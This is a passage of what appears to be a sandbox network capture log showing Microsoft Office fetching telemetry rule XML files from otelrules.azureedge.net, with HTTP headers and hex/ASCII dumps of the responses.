2024-11-16 19:13:11 UTC	515	IN	HTTP/1.1 200 OK Date: Sat, 16 Nov 2024 19:13:11 GMT Content-Type: text/xml Content-Length: 1393 Connection: close Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:27:50 GMT ETag: "0x8DC582BE39DFC9B" x-ms-request-id: 55235507-801e-0015-17af-36f97f000000 x-ms-version: 2018-03-28 x-azure-ref: 20241116T191311Z-16547b76f7fk9g8vhC1DFW825400000003x000000000h1yk x-fd-int-roxy-purgeid: 0 X-Cache-Info: L1_T2 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-16 19:13:11 UTC	1393	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 30 32 30 31 22 20 56 3d 22 31 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 57 6f 72 64 2e 43 72 69 74 69 63 61 6c 22 20 53 50 3d 22 43 72 69 74 69 63 61 6c 42 75 73 69 6e 65 73 73 49 6d 70 61 63 74 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 73 54 65 6e 61 6e 74 54 6f 6b 65 6e 57 6f 72 64 22 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="700201" V="1" DC="SM" EN="Office.Telemetry.Event.Office.Word.Critical" SP="CriticalBusinessImpact" DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" C="NexusTenantTokenWord"

Session ID	Source IP	Source Port	Destination IP	Destination Port
101	192.168.2.4	49927	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-11-16 19:13:12 UTC	192	OUT	GET /rules/rule700200v1s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-16 19:13:12 UTC	494	IN	HTTP/1.1 200 OK Date: Sat, 16 Nov 2024 19:13:12 GMT Content-Type: text/xml Content-Length: 1356 Connection: close Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:27:43 GMT ETag: "0x8DC582BDF66E42D" x-ms-request-id: bc853cf7-701e-006f-6009-37afc4000000 x-ms-version: 2018-03-28 x-azure-ref: 20241116T191312Z-16547b76f7fwggrphC1DFW2a8s00000001zg00000000rq00 x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-16 19:13:12 UTC	1356	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 30 32 30 30 22 20 56 3d 22 31 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 57 6f 72 64 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 73 54 65 6e 61 6e 74 54 6f 6b 65 6e 57 6f 72 64 22 20 53 3d 22 4d 65 64 69 75 6d 22 20 2f 3e 0d 0a 20 20 20 20 3c 46 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="700200" V="1" DC="SM" EN="Office.Telemetry.Event.Office.Word" DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" C="NexusTenantTokenWord" S="Medium" /> <F T="2">

Session ID	Source IP	Source Port	Destination IP	Destination Port
102	192.168.2.4	49930	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-11-16 19:13:12 UTC	192	OUT	GET /rules/rule701251v1s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-16 19:13:12 UTC	494	IN	HTTP/1.1 200 OK Date: Sat, 16 Nov 2024 19:13:12 GMT Content-Type: text/xml Content-Length: 1395 Connection: close Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:27:41 GMT ETag: "0x8DC582BDE12A98D" x-ms-request-id: 49ec1b51-d01e-00ad-4caf-36e942000000 x-ms-version: 2018-03-28 x-azure-ref: 20241116T191312Z-16547b76f7f64d6whC1DFWf9vn00000001sg00000000d914 x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-16 19:13:12 UTC	1395	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 31 32 35 31 22 20 56 3d 22 31 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 56 69 73 69 6f 2e 43 72 69 74 69 63 61 6c 22 20 53 50 3d 22 43 72 69 74 69 63 61 6c 42 75 73 69 6e 65 73 73 49 6d 70 61 63 74 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 73 54 65 6e 61 6e 74 54 6f 6b 65 6e 56 69 73 69 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="701251" V="1" DC="SM" EN="Office.Telemetry.Event.Office.Visio.Critical" SP="CriticalBusinessImpact" DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" C="NexusTenantTokenVisi

Session ID	Source IP	Source Port	Destination IP	Destination Port
103	192.168.2.4	49928	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-11-16 19:13:12 UTC	192	OUT	GET /rules/rule702350v1s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-16 19:13:12 UTC	494	IN	HTTP/1.1 200 OK Date: Sat, 16 Nov 2024 19:13:12 GMT Content-Type: text/xml Content-Length: 1358 Connection: close Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:27:54 GMT ETag: "0x8DC582BE6431446" x-ms-request-id: 21ae6e2f-801e-008f-20af-362c5d000000 x-ms-version: 2018-03-28 x-azure-ref: 20241116T191312Z-1866b5c5fbbt75vghC1DFW0qd4000000031000000000gt94 x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-16 19:13:12 UTC	1358	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 32 33 35 30 22 20 56 3d 22 31 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 56 6f 69 63 65 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 73 54 65 6e 61 6e 74 54 6f 6b 65 6e 56 6f 69 63 65 22 20 53 3d 22 4d 65 64 69 75 6d 22 20 2f 3e 0d 0a 20 20 20 20 3c 46 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="702350" V="1" DC="SM" EN="Office.Telemetry.Event.Office.Voice" DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" C="NexusTenantTokenVoice" S="Medium" /> <F T="2">

Session ID	Source IP	Source Port	Destination IP	Destination Port
104	192.168.2.4	49929	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-11-16 19:13:12 UTC	192	OUT	GET /rules/rule702351v1s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-16 19:13:12 UTC	515	IN	HTTP/1.1 200 OK Date: Sat, 16 Nov 2024 19:13:12 GMT Content-Type: text/xml Content-Length: 1395 Connection: close Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:27:44 GMT ETag: "0x8DC582BE017CAD3" x-ms-request-id: 0f1e6da1-801e-007b-6baf-36e7ab000000 x-ms-version: 2018-03-28 x-azure-ref: 20241116T191312Z-16547b76f7fgvq8chC1DFWhd2w00000003t000000000ck52 x-fd-int-roxy-purgeid: 0 X-Cache-Info: L1_T2 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-16 19:13:12 UTC	1395	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 32 33 35 31 22 20 56 3d 22 31 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 56 6f 69 63 65 2e 43 72 69 74 69 63 61 6c 22 20 53 50 3d 22 43 72 69 74 69 63 61 6c 42 75 73 69 6e 65 73 73 49 6d 70 61 63 74 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 73 54 65 6e 61 6e 74 54 6f 6b 65 6e 56 6f 69 63 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="702351" V="1" DC="SM" EN="Office.Telemetry.Event.Office.Voice.Critical" SP="CriticalBusinessImpact" DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" C="NexusTenantTokenVoic

Session ID	Source IP	Source Port	Destination IP	Destination Port
105	192.168.2.4	49931	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-11-16 19:13:12 UTC	192	OUT	GET /rules/rule701250v1s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-16 19:13:12 UTC	515	IN	HTTP/1.1 200 OK Date: Sat, 16 Nov 2024 19:13:12 GMT Content-Type: text/xml Content-Length: 1358 Connection: close Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:27:44 GMT ETag: "0x8DC582BE022ECC5" x-ms-request-id: 99c36cd7-201e-0096-7ccd-37ace6000000 x-ms-version: 2018-03-28 x-azure-ref: 20241116T191312Z-16547b76f7fmbrhqhC1DFWkds80000000q1000000000knvx x-fd-int-roxy-purgeid: 0 X-Cache-Info: L1_T2 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-16 19:13:12 UTC	1358	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 31 32 35 30 22 20 56 3d 22 31 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 56 69 73 69 6f 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 73 54 65 6e 61 6e 74 54 6f 6b 65 6e 56 69 73 69 6f 22 20 53 3d 22 4d 65 64 69 75 6d 22 20 2f 3e 0d 0a 20 20 20 20 3c 46 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="701250" V="1" DC="SM" EN="Office.Telemetry.Event.Office.Visio" DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" C="NexusTenantTokenVisio" S="Medium" /> <F T="2">

Session ID	Source IP	Source Port	Destination IP	Destination Port
106	192.168.2.4	49932	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-11-16 19:13:13 UTC	192	OUT	GET /rules/rule700051v1s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-16 19:13:13 UTC	494	IN	HTTP/1.1 200 OK Date: Sat, 16 Nov 2024 19:13:13 GMT Content-Type: text/xml Content-Length: 1389 Connection: close Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:27:46 GMT ETag: "0x8DC582BE10A6BC1" x-ms-request-id: f00fef9b-501e-0029-7e4b-36d0b8000000 x-ms-version: 2018-03-28 x-azure-ref: 20241116T191313Z-164f84587bfbvgrghC1DFWbs7w000000033000000000n2ry x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-16 19:13:13 UTC	1389	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 30 30 35 31 22 20 56 3d 22 31 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 55 58 2e 43 72 69 74 69 63 61 6c 22 20 53 50 3d 22 43 72 69 74 69 63 61 6c 42 75 73 69 6e 65 73 73 49 6d 70 61 63 74 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 73 54 65 6e 61 6e 74 54 6f 6b 65 6e 55 58 22 20 53 3d 22 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="700051" V="1" DC="SM" EN="Office.Telemetry.Event.Office.UX.Critical" SP="CriticalBusinessImpact" DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" C="NexusTenantTokenUX" S="

Session ID	Source IP	Source Port	Destination IP	Destination Port
107	192.168.2.4	49934	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-11-16 19:13:13 UTC	192	OUT	GET /rules/rule702951v1s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-16 19:13:13 UTC	515	IN	HTTP/1.1 200 OK Date: Sat, 16 Nov 2024 19:13:13 GMT Content-Type: text/xml Content-Length: 1405 Connection: close Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:27:46 GMT ETag: "0x8DC582BE12B5C71" x-ms-request-id: cf21543a-c01e-0079-7409-37e51a000000 x-ms-version: 2018-03-28 x-azure-ref: 20241116T191313Z-16547b76f7fz92z5hC1DFWmdx800000001d000000000qm9y x-fd-int-roxy-purgeid: 0 X-Cache-Info: L1_T2 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-16 19:13:13 UTC	1405	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 32 39 35 31 22 20 56 3d 22 31 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 54 72 61 6e 73 6c 61 74 6f 72 2e 43 72 69 74 69 63 61 6c 22 20 53 50 3d 22 43 72 69 74 69 63 61 6c 42 75 73 69 6e 65 73 73 49 6d 70 61 63 74 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 73 54 65 6e 61 6e 74 54 6f 6b 65 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="702951" V="1" DC="SM" EN="Office.Telemetry.Event.Office.Translator.Critical" SP="CriticalBusinessImpact" DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" C="NexusTenantToke

Session ID	Source IP	Source Port	Destination IP	Destination Port
108	192.168.2.4	49933	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-11-16 19:13:13 UTC	192	OUT	GET /rules/rule700050v1s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-16 19:13:13 UTC	494	IN	HTTP/1.1 200 OK Date: Sat, 16 Nov 2024 19:13:13 GMT Content-Type: text/xml Content-Length: 1352 Connection: close Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:28:01 GMT ETag: "0x8DC582BE9DEEE28" x-ms-request-id: 9c6f226a-f01e-003f-6009-37d19d000000 x-ms-version: 2018-03-28 x-azure-ref: 20241116T191313Z-16547b76f7fzwxm2hC1DFWt5hw00000000qg00000000qg4s x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-16 19:13:13 UTC	1352	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 30 30 35 30 22 20 56 3d 22 31 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 55 58 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 73 54 65 6e 61 6e 74 54 6f 6b 65 6e 55 58 22 20 53 3d 22 4d 65 64 69 75 6d 22 20 2f 3e 0d 0a 20 20 20 20 3c 46 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="700050" V="1" DC="SM" EN="Office.Telemetry.Event.Office.UX" DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" C="NexusTenantTokenUX" S="Medium" /> <F T="2"> <O T

Session ID	Source IP	Source Port	Destination IP	Destination Port
109	192.168.2.4	49936	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-11-16 19:13:13 UTC	192	OUT	GET /rules/rule701151v1s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-16 19:13:13 UTC	515	IN	HTTP/1.1 200 OK Date: Sat, 16 Nov 2024 19:13:13 GMT Content-Type: text/xml Content-Length: 1401 Connection: close Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:27:45 GMT ETag: "0x8DC582BE055B528" x-ms-request-id: 93dd010c-d01e-0014-6aab-36ed58000000 x-ms-version: 2018-03-28 x-azure-ref: 20241116T191313Z-16547b76f7f2b5qzhC1DFWeag400000001bg00000000kgby x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT X-Cache-Info: L1_T2 Accept-Ranges: bytes
2024-11-16 19:13:13 UTC	1401	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 31 31 35 31 22 20 56 3d 22 31 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 54 65 78 74 2e 43 72 69 74 69 63 61 6c 22 20 53 50 3d 22 43 72 69 74 69 63 61 6c 42 75 73 69 6e 65 73 73 49 6d 70 61 63 74 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 73 54 65 6e 61 6e 74 54 6f 6b 65 6e 54 65 78 74 41 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="701151" V="1" DC="SM" EN="Office.Telemetry.Event.Office.Text.Critical" SP="CriticalBusinessImpact" DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" C="NexusTenantTokenTextA

Session ID	Source IP	Source Port	Destination IP	Destination Port
110	192.168.2.4	49935	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-11-16 19:13:13 UTC	192	OUT	GET /rules/rule702950v1s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-16 19:13:13 UTC	515	IN	HTTP/1.1 200 OK Date: Sat, 16 Nov 2024 19:13:13 GMT Content-Type: text/xml Content-Length: 1368 Connection: close Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:27:40 GMT ETag: "0x8DC582BDDC22447" x-ms-request-id: 969097d6-001e-0046-4dc6-37da4b000000 x-ms-version: 2018-03-28 x-azure-ref: 20241116T191313Z-16547b76f7fz92z5hC1DFWmdx800000001kg0000000042hu x-fd-int-roxy-purgeid: 0 X-Cache-Info: L1_T2 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-16 19:13:13 UTC	1368	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 32 39 35 30 22 20 56 3d 22 31 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 54 72 61 6e 73 6c 61 74 6f 72 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 73 54 65 6e 61 6e 74 54 6f 6b 65 6e 54 72 61 6e 73 6c 61 74 6f 72 22 20 53 3d 22 4d 65 64 69 75 6d 22 20 2f 3e 0d 0a 20 20 20 20 3c 46 20 54 3d Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="702950" V="1" DC="SM" EN="Office.Telemetry.Event.Office.Translator" DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" C="NexusTenantTokenTranslator" S="Medium" /> <F T=

Session ID	Source IP	Source Port	Destination IP	Destination Port
111	192.168.2.4	49937	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-11-16 19:13:13 UTC	192	OUT	GET /rules/rule701150v1s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-16 19:13:14 UTC	515	IN	HTTP/1.1 200 OK Date: Sat, 16 Nov 2024 19:13:14 GMT Content-Type: text/xml Content-Length: 1364 Connection: close Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:27:46 GMT ETag: "0x8DC582BE1223606" x-ms-request-id: e48d079a-201e-00aa-1709-373928000000 x-ms-version: 2018-03-28 x-azure-ref: 20241116T191314Z-16547b76f7f7zzl8hC1DFWmtag0000000250000000006qg5 x-fd-int-roxy-purgeid: 0 X-Cache-Info: L1_T2 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-16 19:13:14 UTC	1364	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 31 31 35 30 22 20 56 3d 22 31 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 54 65 78 74 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 73 54 65 6e 61 6e 74 54 6f 6b 65 6e 54 65 78 74 41 6e 64 46 6f 6e 74 73 22 20 53 3d 22 4d 65 64 69 75 6d 22 20 2f 3e 